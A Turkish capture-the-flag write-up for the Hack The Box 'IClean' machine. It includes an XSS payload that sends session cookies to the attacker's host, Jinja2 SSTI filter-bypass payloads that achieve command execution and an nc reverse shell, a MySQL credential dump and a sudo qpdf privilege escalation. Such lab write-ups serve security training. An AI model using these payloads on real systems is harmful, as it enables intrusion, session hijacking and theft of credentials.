Hack The Box IClean Makine Çözümü — shaggy

Selam arkadaşlar, Hack the Box platformunda bulunan ‘IClean’ isimli makinenin çözümünü sizinle paylaşacağım. Bu makinede httpOnly, SSTI ve XSS gibi yaygın görülen bulguların nelere yol açabileceğini ve bunların nasıl exploit edilebileceğini göreceğiz. Çözmesi oldukça zevkli olan bu makineyi gelin birlikte çözmeye başlayalım.. 🍾 🙌 🎉

Nmap atıp sistem üzerinde çalışan servis ve açık portları öğreniyoruz.

1nmap --min-rate 7000 -p- -sS -sV 10.10.11.12 -Pn --open  -o first-nmap.txtStarting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-04 12:18 EDTNmap scan report for 10.10.11.12Host is up (0.086s latency).Not shown: 65533 closed tcp ports (reset)PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submitNmap done: 1 IP address (1 host up) scanned in 17.41 seconds

Sonrasında 80 portunda çalışan web uygulamasına erişebiliyor muyuz diye kontrol ederken ‘capiclean.htb’ olarak /etc/hosts dosyamıza ekledik.

1curl http://10.10.11.12<!DOCTYPE html><html><head>    <meta http-equiv="refresh" content="0;url=http://capiclean.htb"></head><body>    <!-- Optional content for users without JavaScript -->    <p>If you are not redirected, <a href="http://capiclean.htb">click here</a>.</p></body></html>

Ardından web uygulamasını directory fuzzing yaparak inceledik, fakat aynı menüler arayüzden de erişilebiliyordu. Ekstra bir şey bulamayınca subdomain kontrolü de yaptık; ancak maalesef bir sonuç alamadık.

Sonrasında choose dizinini kurcalarken ‘GET A QUOTE’ butonu gördüm ve benim fuzz listemden çıkmayan ‘quote’ dizinine gittik Lol. Bu alanda random bir mail ile devam ettik, ardından bize teşekkür etti teklifimiz için uygulama.

Sonrasında maili gönderirken bir tane daha parametrenin olduğunu gördüm ‘service’ diye. Bu parametreyi kurcalarken kendime istek attım ve isteğin bana ulaştığını gördüm.

1Orjinal parametre değeri: %3Cimg+src%3D%22http%3A%2F%2F10.10.14.15%3A9191%22+%2F%3E(<img src="http://10.10.14.15:9191" />)

Burada ‘HttpOnly’ özelliği olmayan bir cookienin tarayıcı tarafından javaScript üzerinden erişilebilir olmasından kaynaklı bir sorun yaşanmakta. Bu yüzden kendime istek attırabilir ve session değerini elde edebilirsem uygulamaya login olabiliriz.

1Parametre değeri: %3Cimg+src%3D%22http%3A%2F%2F10.10.14.6%2Fservice%22+onerror%3Dfetch%28%22http%3A%2F%2F10.10.14.15%3A9191%2F%3Fc%3D%22%2Bdocument.cookie%29+%2F%3E

Burada GET methodu ile gelen session bilgisini firefox üzerinden cookie editor eklentisi ile import ettiğimde artık ilgili web uygulamasına login olabildiğimizi gördük.

1listening on [any] 9191 ...connect to [10.10.14.15] from (UNKNOWN) [10.10.11.12] 39198GET /?c=session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.Zq-pTg.fj97DaFnlyqFJxJWZHK1aRbnk5w HTTP/1.1Host: 10.10.14.15:9191Connection: keep-aliveUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Accept: */*Origin: http://127.0.0.1:3000Referer: http://127.0.0.1:3000/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

/dashboard dizininde artık aşağıdaki şekildeki gibi erişim sağladık.

Generate Invoice alanında herhangi bir random değerler girerek ilerlediğimizde bize bir id değeri ürettiğini görüyoruz. Örneğin bana atadığı değer 9036846113’tü

Sistemin atamış olduğu id değerini girip generate dediğimizde QR kodun olduğu bir linki ekrana basıyor.

Bu alanda linki generate ederken qr_link parametresiyle karşılaşıyoruz.Bu parametreye verilen değer valide edilmeden yanıtın içinde data:image/png;base64,http://olarak döndürülmüş ancak base64 şemasının içine ham URL dahil edilmiş bu da base64 olarak değil, düz metin olarak işlenmesine neden oluyor.

Daha da incelemeye devam ettiğimizde SSTI’den yürüyebileceğimizi fark ediyoruz.

Her ne kadar direkt shell almak istesem de uniq karakterlere kızdığı için https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti adresinden ve https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f adresinden faydalanarak ilerledik. Ardından sistem üzerine komut çalıştırabildiğimizi görüyoruz.

1qr_link parametresine eklediğimiz komut çalıştırma payloadı: {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('whoami')|attr('read')()}}

Sonrasında sistem üzerindeki ilk shell’imizi almak için aşağıdaki komuttan yardım alıyoruz. Burada ilgili komut , reverse shell oluşturmak için os.popen işlevini kullanır. Komut çalıştırıldığında hedef sistemde reverse shell oluşturur. Saldırganın belirtilen IP adresi ve port üzerinden sisteme erişmesine olanak tanır.

1{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("(url encoding)rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <IP> PORT >/tmp/f ")|attr("read")()}}

İlgili bağlantıyı aldıktan sonra aşağıdaki gibi sheli upgrade ediyoruz.

1listening on [any] 9898 ...connect to [10.10.14.15] from (UNKNOWN) [10.10.11.12] 44434sh: 0: can't access tty; job control turned off$ app.pystatictemplates$ whoamiwww-data$ python3 -c 'import pty;pty.spawn("bash")'www-data@iclean:/opt/app$ pwdpwd/opt/app

Sistem üzerinde hangi kullanıcılar gözüküyor kontrol etmek için bakındığımızda ‘consuela’ kullanıcısını görmekteyiz.Shell bizi zaten direkt /opt/app dizininde bırakıyor. Bu dizinde bulunan app.py dosyasını incelediğimizde mysql credential’ı buluyoruz.

1app.py dosyasının içeriği:from flask import Flask, render_template, request, jsonify, make_response, session, redirect, url_forfrom flask import render_template_stringimport pymysqlimport hashlibimport osimport random, stringimport pyqrcodefrom jinja2 import StrictUndefinedfrom io import BytesIOimport re, requests, base64app = Flask(__name__)app.config['SESSION_COOKIE_HTTPONLY'] = Falsesecret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))app.secret_key = secret_key# Database Configurationdb_config = {    'host': '127.0.0.1',    'user': 'iclean',    'password': 'pxCsmnGLckUb',    'database': 'capiclean'}......

Ardından bulmuş olduğumuz bilgilerle mysql’e bağlanıp ilgili bilgileri ediniyoruz.

1www-data@iclean:/opt/app$ ^[[200~mysql -u iclean -ppxCsmnGLckUb -D capiclean                                                                                   Welcome to the MySQL monitor.  Commands end with ; or \g.Your MySQL connection id is 362Server version: 8.0.36-0ubuntu0.22.04.1 (Ubuntu)Copyright (c) 2000, 2024, Oracle and/or its affiliates.Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.mysql> show tables;show tables;+---------------------+| Tables_in_capiclean |+---------------------+| quote_requests      || services            || users               |+---------------------+3 rows in set (0.00 sec)mysql> describe users;describe users;+----------+-------------+------+-----+---------+----------------+| Field    | Type        | Null | Key | Default | Extra          |+----------+-------------+------+-----+---------+----------------+| id       | int         | NO   | PRI | NULL    | auto_increment || username | varchar(50) | NO   | UNI | NULL    |                || password | char(64)    | NO   |     | NULL    |                || role_id  | char(32)    | NO   |     | NULL    |                |+----------+-------------+------+-----+---------+----------------+4 rows in set (0.01 sec)mysql> select * from users;select * from users;+----+----------+------------------------------------------------------------------+----------------------------------+| id | username | password                                                         | role_id                          |+----+----------+------------------------------------------------------------------+----------------------------------+|  1 | admin    | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 ||  2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |+----+----------+------------------------------------------------------------------+----------------------------------+2 rows in set (0.00 sec)

consuela Kullanıcısının hashini kırdığımızda ilgili parola değerinin ‘simple and clean’ olduğunu gördük..

Artık consuela kullanıcısıyla oturum açtığımıza göre user.txt’yi elde ettik.Ardından consuela kullanıcısı hangi işlemleri yapabileceğine bakıyoruz. Qpdf komutunu sudo ile çalıştırabildiği için bu yetkiyi suistimal ederek root yetkilerine erişebilir.

1consuela@iclean:~$ sudo -l               sudo -l[sudo] password for consuela: simple and cleanMatching Defaults entries for consuela on iclean:    env_reset, mail_badpass,    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,    use_ptyUser consuela may run the following commands on iclean:    (ALL) /usr/bin/qpdf

Sonrasında aşağıdaki komutları çalıştırarak yetkimizi yükselttik ve root.txt’yi görüntüleyebildik.

Burada boş bir PDF dosyasına root yetkileriyle /root/root.txt dosyasını ek olarak ekledik ve eklenen dosyayı PDF’den çıkarıp gösteriyor, böylece “consuela” kullanıcısı root yetkilerine sahip dosyanın içeriğini görebiliyor.

1consuela@iclean:/usr/bin$ sudo /usr/bin/qpdf --empty --add-attachment /root/root.txt -- test.pdfconsuela@iclean:/usr/bin$ qpdf test.pdf --show-attachment=root.txt58155e6981061e8f6e42*********

Okuduğunuz için teşekkürler, iyi çalışmalar dilerim. :)